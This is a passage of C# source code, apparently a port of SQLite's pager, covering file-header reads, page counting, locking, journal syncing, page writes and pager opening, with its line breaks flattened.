enable_simulated_io_errors() #endif /* ** Read the first N bytes from the beginning of the file into memory ** that pDest points to. ** ** If the pager was opened on a transient file (zFilename==""), or ** opened on a file less than N bytes in size, the output buffer is ** zeroed and SQLITE_OK returned. The rationale for this is that this ** function is used to read database headers, and a new transient or ** zero sized database has a header than consists entirely of zeroes. ** ** If any IO error apart from SQLITE_IOERR_SHORT_READ is encountered, ** the error code is returned to the caller and the contents of the ** output buffer undefined. */ static int sqlite3PagerReadFileheader(Pager pPager, int N, byte[] pDest) { int rc = SQLITE_OK; Array.Clear(pDest, 0, N); //memset(pDest, 0, N); Debug.Assert(isOpen(pPager.fd) || pPager.tempFile); if (isOpen(pPager.fd)) { IOTRACE("DBHDR %p 0 %d\n", pPager, N); rc = sqlite3OsRead(pPager.fd, pDest, N, 0); if (rc == SQLITE_IOERR_SHORT_READ) { rc = SQLITE_OK; } } return rc; } /* ** Return the total number of pages in the database file associated ** with pPager. Normally, this is calculated as (/). ** However, if the file is between 1 and bytes in size, then ** this is considered a 1 page file. ** ** If the pager is in error state when this function is called, then the ** error state error code is returned and *pnPage left unchanged. Or, ** if the file system has to be queried for the size of the file and ** the query attempt returns an IO error, the IO error code is returned ** and *pnPage is left unchanged. ** ** Otherwise, if everything is successful, then SQLITE_OK is returned ** and *pnPage is set to the number of pages in the database. */ static int sqlite3PagerPagecount(Pager pPager, ref int pnPage) { int nPage; /* Value to return via *pnPage */ /* If the pager is already in the error state, return the error code. */ if (pPager.errCode != 0) { return pPager.errCode; } /* Determine the number of pages in the file. Store this in nPage. */ if (pPager.dbSizeValid) { nPage = (int)pPager.dbSize; } else { int rc; /* Error returned by OsFileSize() */ int n = 0; /* File size in bytes returned by OsFileSize() */ Debug.Assert(isOpen(pPager.fd) || pPager.tempFile); if (isOpen(pPager.fd) && (0 != (rc = sqlite3OsFileSize(pPager.fd, ref n)))) { pager_error(pPager, rc); return rc; } if (n > 0 && n < pPager.pageSize) { nPage = 1; } else { nPage = n / pPager.pageSize; } if (pPager.state != PAGER_UNLOCK) { pPager.dbSize = (Pgno)nPage; pPager.dbFileSize = (Pgno)nPage; pPager.dbSizeValid = true; } } /* If the current number of pages in the file is greater than the ** configured maximum pager number, increase the allowed limit so ** that the file can be read. */ if (nPage > pPager.mxPgno) { pPager.mxPgno = (Pgno)nPage; } /* Set the output variable and return SQLITE_OK */ // if( pnPage ){ pnPage = nPage; //} return SQLITE_OK; } /* ** Try to obtain a lock of type locktype on the database file. If ** a similar or greater lock is already held, this function is a no-op ** (returning SQLITE_OK immediately). ** ** Otherwise, attempt to obtain the lock using sqlite3OsLock(). Invoke ** the busy callback if the lock is currently not available. Repeat ** until the busy callback returns false or until the attempt to ** obtain the lock succeeds. ** ** Return SQLITE_OK on success and an error code if we cannot obtain ** the lock. If the lock is obtained successfully, set the Pager.state ** variable to locktype before returning. */ static int pager_wait_on_lock(Pager pPager, int locktype) { int rc; /* Return code */ /* The OS lock values must be the same as the Pager lock values */ Debug.Assert(PAGER_SHARED == SHARED_LOCK); Debug.Assert(PAGER_RESERVED == RESERVED_LOCK); Debug.Assert(PAGER_EXCLUSIVE == EXCLUSIVE_LOCK); /* If the file is currently unlocked then the size must be unknown */ Debug.Assert(pPager.state >= PAGER_SHARED || pPager.dbSizeValid == false); /* Check that this is either a no-op (because the requested lock is ** already held, or one of the transistions that the busy-handler ** may be invoked during, according to the comment above ** sqlite3PagerSetBusyhandler(). */ Debug.Assert((pPager.state >= locktype) || (pPager.state == PAGER_UNLOCK && locktype == PAGER_SHARED) || (pPager.state == PAGER_RESERVED && locktype == PAGER_EXCLUSIVE) ); if (pPager.state >= locktype) { rc = SQLITE_OK; } else { do { rc = sqlite3OsLock(pPager.fd, locktype); } while (rc == SQLITE_BUSY && pPager.xBusyHandler(pPager.pBusyHandlerArg) != 0); if (rc == SQLITE_OK) { pPager.state = (u8)locktype; IOTRACE("LOCK %p %d\n", pPager, locktype); } } return rc; } /* ** Function assertTruncateConstraint(pPager) checks that one of the ** following is true for all dirty pages currently in the page-cache: ** ** a) The page number is less than or equal to the size of the ** current database image, in pages, OR ** ** b) if the page content were written at this time, it would not ** be necessary to write the current content out to the sub-journal ** (as determined by function subjRequiresPage()). ** ** If the condition asserted by this function were not true, and the ** dirty page were to be discarded from the cache via the pagerStress() ** routine, pagerStress() would not write the current page content to ** the database file. If a savepoint transaction were rolled back after ** this happened, the correct behaviour would be to restore the current ** content of the page. However, since this content is not present in either ** the database file or the portion of the rollback journal and ** sub-journal rolled back the content could not be restored and the ** database image would become corrupt. It is therefore fortunate that ** this circumstance cannot arise. */ #if SQLITE_DEBUG static void assertTruncateConstraintCb( PgHdr pPg ) { Debug.Assert( ( pPg.flags & PGHDR_DIRTY ) != 0 ); Debug.Assert( !subjRequiresPage( pPg ) || pPg.pgno <= pPg.pPager.dbSize ); } static void assertTruncateConstraint( Pager pPager ) { sqlite3PcacheIterateDirty( pPager.pPCache, assertTruncateConstraintCb ); } #else //# define assertTruncateConstraint(pPager) static void assertTruncateConstraintCb(PgHdr pPg) { } static void assertTruncateConstraint(Pager pPager) { } #endif /* ** Truncate the in-memory database file image to nPage pages. This ** function does not actually modify the database file on disk. It ** just sets the internal state of the pager object so that the ** truncation will be done when the current transaction is committed. */ static void sqlite3PagerTruncateImage(Pager pPager, u32 nPage) { Debug.Assert(pPager.dbSizeValid); Debug.Assert(pPager.dbSize >= nPage); Debug.Assert(pPager.state >= PAGER_RESERVED); pPager.dbSize = nPage; assertTruncateConstraint(pPager); } /* ** Shutdown the page cache. Free all memory and close all files. ** ** If a transaction was in progress when this routine is called, that ** transaction is rolled back. All outstanding pages are invalidated ** and their memory is freed. Any attempt to use a page associated ** with this page cache after this function returns will likely ** result in a coredump. ** ** This function always succeeds. If a transaction is active an attempt ** is made to roll it back. If an error occurs during the rollback ** a hot journal may be left in the filesystem but no error is returned ** to the caller. */ static int sqlite3PagerClose(Pager pPager) { #if SQLITE_TEST disable_simulated_io_errors(); #endif sqlite3BeginBenignMalloc(); pPager.errCode = 0; pPager.exclusiveMode = false; pager_reset(pPager); if ( #if SQLITE_OMIT_MEMORYDB 1==MEMDB #else 1 == pPager.memDb #endif ) { pager_unlock(pPager); } else { /* Set Pager.journalHdr to -1 for the benefit of the pager_playback() ** call which may be made from within pagerUnlockAndRollback(). If it ** is not -1, then the unsynced portion of an open journal file may ** be played back into the database. If a power failure occurs while ** this is happening, the database may become corrupt. */ pPager.journalHdr = -1; pagerUnlockAndRollback(pPager); } sqlite3EndBenignMalloc(); #if SQLITE_TEST enable_simulated_io_errors(); #endif PAGERTRACE("CLOSE %d\n", PAGERID(pPager)); IOTRACE("CLOSE %p\n", pPager); sqlite3OsClose(pPager.fd); //sqlite3_free( ref pPager.pTmpSpace ); sqlite3PcacheClose(pPager.pPCache); #if SQLITE_HAS_CODEC if( pPager->xCodecFree ) pPager->xCodecFree(pPager->pCodec); #endif Debug.Assert(null == pPager.aSavepoint && !pPager.pInJournal); Debug.Assert(!isOpen(pPager.jfd) && !isOpen(pPager.sjfd)); //sqlite3_free( ref pPager ); return SQLITE_OK; } #if !NDEBUG || SQLITE_TEST /* ** Return the page number for page pPg. */ static Pgno sqlite3PagerPagenumber( DbPage pPg ) { return pPg.pgno; } #else static Pgno sqlite3PagerPagenumber(DbPage pPg) { return pPg.pgno; } #endif /* ** Increment the reference count for page pPg. */ static void sqlite3PagerRef(DbPage pPg) { sqlite3PcacheRef(pPg); } /* ** Sync the journal. In other words, make sure all the pages that have ** been written to the journal have actually reached the surface of the ** disk and can be restored in the event of a hot-journal rollback. ** ** If the Pager.needSync flag is not set, then this function is a ** no-op. Otherwise, the actions required depend on the journal-mode ** and the device characteristics of the the file-system, as follows: ** ** * If the journal file is an in-memory journal file, no action need ** be taken. ** ** * Otherwise, if the device does not support the SAFE_APPEND property, ** then the nRec field of the most recently written journal header ** is updated to contain the number of journal records that have ** been written following it. If the pager is operating in full-sync ** mode, then the journal file is synced before this field is updated. ** ** * If the device does not support the SEQUENTIAL property, then ** journal file is synced. ** ** Or, in pseudo-code: ** ** if( NOT ){ ** if( NOT SAFE_APPEND ){ ** if( ) xSync(); ** ** } ** if( NOT SEQUENTIAL ) xSync(); ** } ** ** The Pager.needSync flag is never be set for temporary files, or any ** file operating in no-sync mode (Pager.noSync set to non-zero). ** ** If successful, this routine clears the PGHDR_NEED_SYNC flag of every ** page currently held in memory before returning SQLITE_OK. If an IO ** error is encountered, then the IO error code is returned to the caller. */ static int syncJournal(Pager pPager) { if (pPager.needSync) { Debug.Assert(!pPager.tempFile); if (pPager.journalMode != PAGER_JOURNALMODE_MEMORY) { int rc = SQLITE_OK; int iDc = sqlite3OsDeviceCharacteristics(pPager.fd); Debug.Assert(isOpen(pPager.jfd)); if (0 == (iDc & SQLITE_IOCAP_SAFE_APPEND)) { /* This block deals with an obscure problem. If the last connection ** that wrote to this database was operating in persistent-journal ** mode, then the journal file may at this point actually be larger ** than Pager.journalOff bytes. If the next thing in the journal ** file happens to be a journal-header (written as part of the ** previous connections transaction), and a crash or power-failure ** occurs after nRec is updated but before this connection writes ** anything else to the journal file (or commits/rolls back its ** transaction), then SQLite may become confused when doing the ** hot-journal rollback following recovery. It may roll back all ** of this connections data, then proceed to rolling back the old, ** out-of-date data that follows it. Database corruption. ** ** To work around this, if the journal file does appear to contain ** a valid header following Pager.journalOff, then write a 0x00 ** byte to the start of it to prevent it from being recognized. ** ** Variable iNextHdrOffset is set to the offset at which this ** problematic header will occur, if it exists. aMagic is used ** as a temporary buffer to inspect the first couple of bytes of ** the potential journal header. */ i64 iNextHdrOffset; u8[] aMagic = new u8[8]; u8[] zHeader = new u8[aJournalMagic.Length + 4]; aJournalMagic.CopyTo(zHeader, 0);// memcpy(zHeader, aJournalMagic, sizeof(aJournalMagic)); put32bits(zHeader, aJournalMagic.Length, pPager.nRec); iNextHdrOffset = journalHdrOffset(pPager); rc = sqlite3OsRead(pPager.jfd, aMagic, 8, iNextHdrOffset); if (rc == SQLITE_OK && 0 == memcmp(aMagic, aJournalMagic, 8)) { u8[] zerobyte = new u8[1]; rc = sqlite3OsWrite(pPager.jfd, zerobyte, 1, iNextHdrOffset); } if (rc != SQLITE_OK && rc != SQLITE_IOERR_SHORT_READ) { return rc; } /* Write the nRec value into the journal file header. If in ** full-synchronous mode, sync the journal first. This ensures that ** all data has really hit the disk before nRec is updated to mark ** it as a candidate for rollback. ** ** This is not required if the persistent media supports the ** SAFE_APPEND property. Because in this case it is not possible ** for garbage data to be appended to the file, the nRec field ** is populated with 0xFFFFFFFF when the journal header is written ** and never needs to be updated. */ if (pPager.fullSync && 0 == (iDc & SQLITE_IOCAP_SEQUENTIAL)) { PAGERTRACE("SYNC journal of %d\n", PAGERID(pPager)); IOTRACE("JSYNC %p\n", pPager); rc = sqlite3OsSync(pPager.jfd, pPager.sync_flags); if (rc != SQLITE_OK) return rc; } IOTRACE("JHDR %p %lld\n", pPager, pPager.journalHdr); rc = sqlite3OsWrite( pPager.jfd, zHeader, zHeader.Length, pPager.journalHdr ); if (rc != SQLITE_OK) return rc; } if (0 == (iDc & SQLITE_IOCAP_SEQUENTIAL)) { PAGERTRACE("SYNC journal of %d\n", PAGERID(pPager)); IOTRACE("JSYNC %p\n", pPager); rc = sqlite3OsSync(pPager.jfd, pPager.sync_flags | (pPager.sync_flags == SQLITE_SYNC_FULL ? SQLITE_SYNC_DATAONLY : 0) ); if (rc != SQLITE_OK) return rc; } } /* The journal file was just successfully synced. Set Pager.needSync ** to zero and clear the PGHDR_NEED_SYNC flag on all pagess. */ pPager.needSync = false; pPager.journalStarted = true; sqlite3PcacheClearSyncFlags(pPager.pPCache); } return SQLITE_OK; } /* ** The argument is the first in a linked list of dirty pages connected ** by the PgHdr.pDirty pointer. This function writes each one of the ** in-memory pages in the list to the database file. The argument may ** be NULL, representing an empty list. In this case this function is ** a no-op. ** ** The pager must hold at least a RESERVED lock when this function ** is called. Before writing anything to the database file, this lock ** is upgraded to an EXCLUSIVE lock. If the lock cannot be obtained, ** SQLITE_BUSY is returned and no data is written to the database file. ** ** If the pager is a temp-file pager and the actual file-system file ** is not yet open, it is created and opened before any data is ** written out. ** ** Once the lock has been upgraded and, if necessary, the file opened, ** the pages are written out to the database file in list order. Writing ** a page is skipped if it meets either of the following criteria: ** ** * The page number is greater than Pager.dbSize, or ** * The PGHDR_DONT_WRITE flag is set on the page. ** ** If writing out a page causes the database file to grow, Pager.dbFileSize ** is updated accordingly. If page 1 is written out, then the value cached ** in Pager.dbFileVers[] is updated to match the new value stored in ** the database file. ** ** If everything is successful, SQLITE_OK is returned. If an IO error ** occurs, an IO error code is returned. Or, if the EXCLUSIVE lock cannot ** be obtained, SQLITE_BUSY is returned. */ static int pager_write_pagelist(PgHdr pList) { Pager pPager; /* Pager object */ int rc; /* Return code */ if (NEVER(pList == null)) return SQLITE_OK; pPager = pList.pPager; /* At this point there may be either a RESERVED or EXCLUSIVE lock on the ** database file. If there is already an EXCLUSIVE lock, the following ** call is a no-op. ** ** Moving the lock from RESERVED to EXCLUSIVE actually involves going ** through an intermediate state PENDING. A PENDING lock prevents new ** readers from attaching to the database but is unsufficient for us to ** write. The idea of a PENDING lock is to prevent new readers from ** coming in while we wait for existing readers to clear. ** ** While the pager is in the RESERVED state, the original database file ** is unchanged and we can rollback without having to playback the ** journal into the original database file. Once we transition to ** EXCLUSIVE, it means the database file has been changed and any rollback ** will require a journal playback. */ Debug.Assert(pPager.state >= PAGER_RESERVED); rc = pager_wait_on_lock(pPager, EXCLUSIVE_LOCK); /* If the file is a temp-file has not yet been opened, open it now. It ** is not possible for rc to be other than SQLITE_OK if this branch ** is taken, as pager_wait_on_lock() is a no-op for temp-files. */ if (!isOpen(pPager.fd)) { Debug.Assert(pPager.tempFile && rc == SQLITE_OK); rc = pagerOpentemp(pPager, ref pPager.fd, (int)pPager.vfsFlags); } while (rc == SQLITE_OK && pList) { Pgno pgno = pList.pgno; /* If there are dirty pages in the page cache with page numbers greater ** than Pager.dbSize, this means sqlite3PagerTruncateImage() was called to ** make the file smaller (presumably by auto-vacuum code). Do not write ** any such pages to the file. ** ** Also, do not write out any page that has the PGHDR_DONT_WRITE flag ** set (set by sqlite3PagerDontWrite()). */ if (pList.pgno <= pPager.dbSize && 0 == (pList.flags & PGHDR_DONT_WRITE)) { i64 offset = (pList.pgno - 1) * (i64)pPager.pageSize; /* Offset to write */ byte[] pData = null; /* Data to write */ /* Encode the database */ CODEC2(pPager, pList.pData, pgno, 6, SQLITE_NOMEM, ref pData);// CODEC2(pPager, pList->pData, pgno, 6, return SQLITE_NOMEM, pData); /* Write out the page data. */ rc = sqlite3OsWrite(pPager.fd, pData, pPager.pageSize, offset); /* If page 1 was just written, update Pager.dbFileVers to match ** the value now stored in the database file. If writing this ** page caused the database file to grow, update dbFileSize. */ if (pgno == 1) { Buffer.BlockCopy(pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length);// memcpy(pPager.dbFileVers, pData[24], pPager.dbFileVers).Length; } if (pgno > pPager.dbFileSize) { pPager.dbFileSize = pgno; } /* Update any backup objects copying the contents of this pager. */ sqlite3BackupUpdate(pPager.pBackup, pgno, pList.pData); PAGERTRACE("STORE %d page %d hash(%08x)\n", PAGERID(pPager), pgno, pager_pagehash(pList)); IOTRACE("PGOUT %p %d\n", pPager, pgno); #if SQLITE_TEST int iValue; iValue = sqlite3_pager_writedb_count.iValue; PAGER_INCR( ref iValue ); sqlite3_pager_writedb_count.iValue = iValue; PAGER_INCR( ref pPager.nWrite ); #endif } else { PAGERTRACE("NOSTORE %d page %d\n", PAGERID(pPager), pgno); } #if SQLITE_CHECK_PAGES pList.pageHash = pager_pagehash(pList); #endif pList = pList.pDirty; } return rc; } /* ** Append a record of the current state of page pPg to the sub-journal. ** It is the callers responsibility to use subjRequiresPage() to check ** that it is really required before calling this function. ** ** If successful, set the bit corresponding to pPg.pgno in the bitvecs ** for all open savepoints before returning. ** ** This function returns SQLITE_OK if everything is successful, an IO ** error code if the attempt to write to the sub-journal fails, or ** SQLITE_NOMEM if a malloc fails while setting a bit in a savepoint ** bitvec. */ static int subjournalPage(PgHdr pPg) { int rc = SQLITE_OK; Pager pPager = pPg.pPager; if (isOpen(pPager.sjfd)) { byte[] pData = pPg.pData; i64 offset = pPager.nSubRec * (4 + pPager.pageSize); byte[] pData2 = null; CODEC2(pPager, pData, pPg.pgno, 7, SQLITE_NOMEM, ref pData2);//CODEC2(pPager, pData, pPg.pgno, 7, return SQLITE_NOMEM, pData2); PAGERTRACE("STMT-JOURNAL %d page %d\n", PAGERID(pPager), pPg.pgno); Debug.Assert(pageInJournal(pPg) || pPg.pgno > pPager.dbOrigSize); rc = write32bits(pPager.sjfd, offset, pPg.pgno); if (rc == SQLITE_OK) { rc = sqlite3OsWrite(pPager.sjfd, pData2, pPager.pageSize, offset + 4); } } if (rc == SQLITE_OK) { pPager.nSubRec++; Debug.Assert(pPager.nSavepoint > 0); rc = addToSavepointBitvecs(pPager, pPg.pgno); } return rc; } /* ** This function is called by the pcache layer when it has reached some ** soft memory limit. The first argument is a pointer to a Pager object ** (cast as a void*). The pager is always 'purgeable' (not an in-memory ** database). The second argument is a reference to a page that is ** currently dirty but has no outstanding references. The page ** is always associated with the Pager object passed as the first ** argument. ** ** The job of this function is to make pPg clean by writing its contents ** out to the database file, if possible. This may involve syncing the ** journal file. ** ** If successful, sqlite3PcacheMakeClean() is called on the page and ** SQLITE_OK returned. If an IO error occurs while trying to make the ** page clean, the IO error code is returned. If the page cannot be ** made clean for some other reason, but no error occurs, then SQLITE_OK ** is returned by sqlite3PcacheMakeClean() is not called. */ static int pagerStress(object p, PgHdr pPg) { Pager pPager = (Pager)p; int rc = SQLITE_OK; Debug.Assert(pPg.pPager == pPager); Debug.Assert((pPg.flags & PGHDR_DIRTY) != 0); /* The doNotSync flag is set by the sqlite3PagerWrite() function while it ** is journalling a set of two or more database pages that are stored ** on the same disk sector. Syncing the journal is not allowed while ** this is happening as it is important that all members of such a ** set of pages are synced to disk together. So, if the page this function ** is trying to make clean will require a journal sync and the doNotSync ** flag is set, return without doing anything. The pcache layer will ** just have to go ahead and allocate a new page buffer instead of ** reusing pPg. ** ** Similarly, if the pager has already entered the error state, do not ** try to write the contents of pPg to disk. */ if (NEVER(pPager.errCode != 0) || (pPager.doNotSync && (pPg.flags & PGHDR_NEED_SYNC) != 0) ) { return SQLITE_OK; } /* Sync the journal file if required. */ if ((pPg.flags & PGHDR_NEED_SYNC) != 0) { rc = syncJournal(pPager); if (rc == SQLITE_OK && pPager.fullSync && !(pPager.journalMode == PAGER_JOURNALMODE_MEMORY) && 0 == (sqlite3OsDeviceCharacteristics(pPager.fd) & SQLITE_IOCAP_SAFE_APPEND) ) { pPager.nRec = 0; rc = writeJournalHdr(pPager); } } /* If the page number of this page is larger than the current size of ** the database image, it may need to be written to the sub-journal. ** This is because the call to pager_write_pagelist() below will not ** actually write data to the file in this case. ** ** Consider the following sequence of events: ** ** BEGIN; ** ** ** SAVEPOINT sp; ** ** pagerStress(page X) ** ROLLBACK TO sp; ** ** If (X>Y), then when pagerStress is called page X will not be written ** out to the database file, but will be dropped from the cache. Then, ** following the "ROLLBACK TO sp" statement, reading page X will read ** data from the database file. This will be the copy of page X as it ** was when the transaction started, not as it was when "SAVEPOINT sp" ** was executed. ** ** The solution is to write the current data for page X into the ** sub-journal file now (if it is not already there), so that it will ** be restored to its current value when the "ROLLBACK TO sp" is ** executed. */ if (NEVER( rc == SQLITE_OK && pPg.pgno > pPager.dbSize && subjRequiresPage(pPg) )) { rc = subjournalPage(pPg); } /* Write the contents of the page out to the database file. */ if (rc == SQLITE_OK) { pPg.pDirty = null; rc = pager_write_pagelist(pPg); } /* Mark the page as clean. */ if (rc == SQLITE_OK) { PAGERTRACE("STRESS %d page %d\n", PAGERID(pPager), pPg.pgno); sqlite3PcacheMakeClean(pPg); } return pager_error(pPager, rc); } /* ** Allocate and initialize a new Pager object and put a pointer to it ** in *ppPager. The pager should eventually be freed by passing it ** to sqlite3PagerClose(). ** ** The zFilename argument is the path to the database file to open. ** If zFilename is NULL then a randomly-named temporary file is created ** and used as the file to be cached. Temporary files are be deleted ** automatically when they are closed. If zFilename is ":memory:" then ** all information is held in cache. It is never written to disk. ** This can be used to implement an in-memory database. ** ** The nExtra parameter specifies the number of bytes of space allocated ** along with each page reference. This space is available to the user ** via the sqlite3PagerGetExtra() API. ** ** The flags argument is used to specify properties that affect the ** operation of the pager. It should be passed some bitwise combination ** of the PAGER_OMIT_JOURNAL and PAGER_NO_READLOCK flags. ** ** The vfsFlags parameter is a bitmask to pass to the flags parameter ** of the xOpen() method of the supplied VFS when opening files. ** ** If the pager object is allocated and the specified file opened ** successfully, SQLITE_OK is returned and *ppPager set to point to ** the new pager object. If an error occurs, *ppPager is set to NULL ** and error code returned. This function may return SQLITE_NOMEM ** (sqlite3Malloc() is used to allocate memory), SQLITE_CANTOPEN or ** various SQLITE_IO_XXX errors. */ static int sqlite3PagerOpen( sqlite3_vfs pVfs, /* The virtual file system to use */ ref Pager ppPager, /* OUT: Return the Pager structure here */ string zFilename, /* Name of the database file to open */ int nExtra, /* Extra bytes append to each in-memory page */ int flags, /* flags controlling this file */ int vfsFlags, /* flags passed through to sqlite3_vfs.xOpen() */ dxReiniter xReinit /* Function to reinitialize pages */ ) { u8 pPtr; Pager pPager = null; /* Pager object to allocate and return */ int rc = SQLITE_OK; /* Return code */ u8 tempFile = 0; /* True for temp files (incl. in-memory files) */ // Needs to be u8 for later tests u8 memDb = 0; /* True if this is an in-memory file */ bool readOnly = false; /* True if this is a read-only file */ int journalFileSize; /* Bytes to allocate for each journal fd */ StringBuilder zPathname = null; /* Full path to database file */ int nPathname = 0; /* Number of bytes in zPathname */ bool useJournal = (flags & PAGER_OMIT_JOURNAL) == 0; /* False to omit journal */ bool noReadlock = (flags & PAGER_NO_READLOCK) != 0; /* True to omit read-lock */ int pcacheSize = sqlite3PcacheSize(); /* Bytes to allocate for PCache */ u16 szPageDflt = SQLITE_DEFAULT_PAGE_SIZE; /* Default page size */ /* Figure out how much space is required for each journal file-handle ** (there are two of them, the main journal and the sub-journal). This ** is the maximum space required for an in-memory journal file handle ** and a regular journal file-handle. Note that a "regular journal-handle" ** may be a wrapper capable of caching the first portion of the journal ** file in memory to implement the atomic-write optimization (see ** source file journal.c). */ if (sqlite3JournalSize(pVfs) > sqlite3MemJournalSize()) { journalFileSize = ROUND8(sqlite3JournalSize(pVfs)); } else { journalFileSize = ROUND8(sqlite3MemJournalSize()); } /* Set the output variable to NULL in case an error occurs. */ ppPager = null; /* Compute and store the full pathname in an allocated buffer pointed ** to by zPathname, length nPathname. Or, if this is a temporary file, ** leave both nPathname and zPathname set to 0. */ if (!String.IsNullOrEmpty(zFilename)) { nPathname = pVfs.mxPathname + 1; zPathname = new StringBuilder(nPathname * 2);// sqlite3Malloc( nPathname * 2 ); if (zPathname == null) { return SQLITE_NOMEM; } #if !SQLITE_OMIT_MEMORYDB if (zFilename == ":memory:")//if( strcmp(zFilename,":memory:")==null ) { memDb = 1; zPathname.Length = 0; } else #endif { //zPathname[0] = 0; /* Make sure initialized even if FullPathname() fails */ rc = sqlite3OsFullPathname(pVfs, zFilename, nPathname, zPathname); } nPathname = sqlite3Strlen30(zPathname); if (rc == SQLITE_OK && nPathname + 8 > pVfs.mxPathname) { /* This branch is taken when the journal path required by ** the database being opened will be more than pVfs.mxPathname ** bytes in length. This means the database cannot be opened, ** as it will not be possible to open the journal file or even ** check for a hot-journal before reading. */ rc = SQLITE_CANTOPEN; } if (rc != SQLITE_OK) { //sqlite3_free( ref zPathname ); return rc; } } /* Allocate memory for the Pager structure, PCache object, the ** three file descriptors, the database file name and the journal ** file name. The layout in memory is as follows: ** ** Pager object (sizeof(Pager) bytes) ** PCache object (sqlite3PcacheSize() bytes) ** Database file handle (pVfs.szOsFile bytes) ** Sub-journal file handle (journalFileSize bytes) ** Main journal file handle (journalFileSize bytes) ** Database file name (nPathname+1 bytes) ** Journal file name (nPathname+8+1 bytes) */ //pPtr = (u8 *)sqlite3MallocZero( // ROUND8(sizeof(*pPager)) + /* Pager structure */ // ROUND8(pcacheSize) + /* PCache object */ // ROUND8(pVfs.szOsFile) + /* The main db file */ // journalFileSize * 2 + /* The two journal files */ // nPathname + 1 + /* zFilename */ // nPathname + 8 + 1 /* zJournal */ //); // assert( EIGHT_BYTE_ALIGNMENT(SQLITE_INT_TO_PTR(journalFileSize))); //if( !pPtr ){ // //sqlite3_free(zPathname); // return SQLITE_NOMEM; //} pPager = new Pager();//(Pager*)(pPtr); pPager.pPCache = new PCache();//(PCache*)(pPtr += ROUND8(sizeof(*pPager))); pPager.fd = new sqlite3_file();//(sqlite3_file*)(pPtr += ROUND8(pcacheSize)); pPager.sjfd = new sqlite3_file();//(sqlite3_file*)(pPtr += ROUND8(pVfs->szOsFile)); pPager.jfd = new sqlite3_file();//(sqlite3_file*)(pPtr += journalFileSize); //pPager.zFilename = (char*)(pPtr += journalFileSize); //assert( EIGHT_BYTE_ALIGNMENT(pPager->jfd) ); /* Fill in the Pager.zFilename and Pager.zJournal buffers, if required. */ if (zPathname != null) { //pPager.zJournal = (char*)(pPtr += nPathname + 1); //memcpy(pPager.zFilename, zPathname, nPathname); pPager.zFilename = zPathname.ToString(); //memcpy(pPager.zJournal, zPathname, nPathname); //memcpy(&pPager.zJournal[nPathname], "-journal", 8); pPager.zJournal = pPager.zFilename + "-journal"; if (pPager.zFilename.Length == 0) pPager.zJournal = ""; //sqlite3_free( ref zPathname ); } else { pPager.zFilename = ""; } pPager.pVfs = pVfs; pPager.vfsFlags = (u32)vfsFlags; /* Open the pager file. */ if (!String.IsNullOrEmpty(zFilename) && 0 == memDb) { int fout = 0; /* VFS flags returned by xOpen() */ rc = sqlite3OsOpen(pVfs, pPager.zFilename, pPager.fd, vfsFlags, ref fout); readOnly = (fout & SQLITE_OPEN_READONLY) != 0; /* If the file was successfully opened for read/write access, ** choose a default page size in case we have to create the ** database file. The default page size is the maximum of: ** ** + SQLITE_DEFAULT_PAGE_SIZE, ** + The value returned by sqlite3OsSectorSize() ** + The largest page size that can be written atomically. */ if (rc == SQLITE_OK && !readOnly) { setSectorSize(pPager); Debug.Assert(SQLITE_DEFAULT_PAGE_SIZE <= SQLITE_MAX_DEFAULT_PAGE_SIZE); if (szPageDflt < pPager.sectorSize) { if (pPager.sectorSize > SQLITE_MAX_DEFAULT_PAGE_SIZE) { szPageDflt = SQLITE_MAX_DEFAULT_PAGE_SIZE; } else { szPageDflt = (u16)pPager.sectorSize; } } #if SQLITE_ENABLE_ATOMIC_WRITE { int iDc = sqlite3OsDeviceCharacteristics(pPager.fd); int ii; Debug.Assert(SQLITE_IOCAP_ATOMIC512==(512>>8)); Debug.Assert(SQLITE_IOCAP_ATOMIC64K==(65536>>8)); Debug.Assert(SQLITE_MAX_DEFAULT_PAGE_SIZE<=65536); for(ii=szPageDflt; ii<=SQLITE_MAX_DEFAULT_PAGE_SIZE; ii=ii*2){ if( iDc&(SQLITE_IOCAP_ATOMIC|(ii>>8)) ){ szPageDflt = ii; } } } #endif } } else { /* If a temporary file is requested, it is not opened immediately. ** In this case we accept the default page size and delay actually ** opening the file until the first call to OsWrite(). ** ** This branch is also run for an in-memory database. An in-memory ** database is the same as a temp-file that is never written out to ** disk and uses an in-memory rollback journal. */ tempFile = 1; pPager.state = PAGER_EXCLUSIVE; readOnly = (vfsFlags & SQLITE_OPEN_READONLY) != 0; } /* The following call to PagerSetPagesize() serves to set the value of ** Pager.pageSize and to allocate the Pager.pTmpSpace buffer. */ if (rc == SQLITE_OK) { Debug.Assert(pPager.memDb == 0); rc = sqlite3PagerSetPagesize(pPager, ref szPageDflt, -1); testcase(rc != SQLITE_OK); } /* If an error occurred in either of the blocks above, free the ** Pager structure and close the file. */ if (rc != SQLITE_OK) { Debug.Assert(null == pPager.pTmpSpace); sqlite3OsClose(pPager.fd); //sqlite3_free( ref pPager ); return rc; } /* Initialize the PCache object. */ Debug.Assert(nExtra < 1000); nExtra = ROUND8(nExtra); sqlite3PcacheOpen(szPageDflt, nExtra, 0 == memDb, 0 == memDb ? (dxStress)pagerStress : null, pPager, pPager.pPCache); PAGERTRACE("OPEN %d %s\n", FILEHANDLEID(pPager.fd), pPager.zFilename); IOTRACE("OPEN %p %s\n", pPager, pPager.zFilename); pPager.useJournal = (u8)(useJournal ? 1 : 0); pPager.noReadlock = (u8)(noReadlock && readOnly ? 1 : 0); /* pPager.stmtOpen = 0; */ /* pPager.stmtInUse = 0; */ /* pPager.nRef = 0; */ pPager.dbSizeValid = memDb != 0; /* pPager.stmtSize = 0; */ /* pPager.stmtJSize = 0; */ /* pPager.nPage = 0; */ pPager.mxPgno = SQLITE_MAX_PAGE_COUNT; /* pPager.state = PAGER_UNLOCK; */ Debug.Assert(pPager.state == (tempFile != 0 ? PAGER_EXCLUSIVE : PAGER_UNLOCK)); /* pPager.errMask = 0; */ pPager.tempFile = tempFile != 0; Debug.Assert(tempFile == PAGER_LOCKINGMODE_NORMAL || tempFile == PAGER_LOCKINGMODE_EXCLUSIVE); Debug.Assert(PAGER_LOCKINGMODE_EXCLUSIVE == 1); pPager.exclusiveMode = tempFile != 0; pPager.changeCountDone = pPager.tempFile; pPager.memDb = memDb; pPager.readOnly = readOnly; /* pPager.needSync = 0; */ Debug.Assert(useJournal || pPager.tempFile); pPager.noSync = pPager.tempFile; pPager.fullSync = pPager.noSync; pPager.sync_flags = SQLITE_SYNC_NORMAL; /* pPager.pFirst = 0; */ /* pPager.pFirstSynced = 0; */ /* pPager.pLast = 0; */ pPager.nExtra = 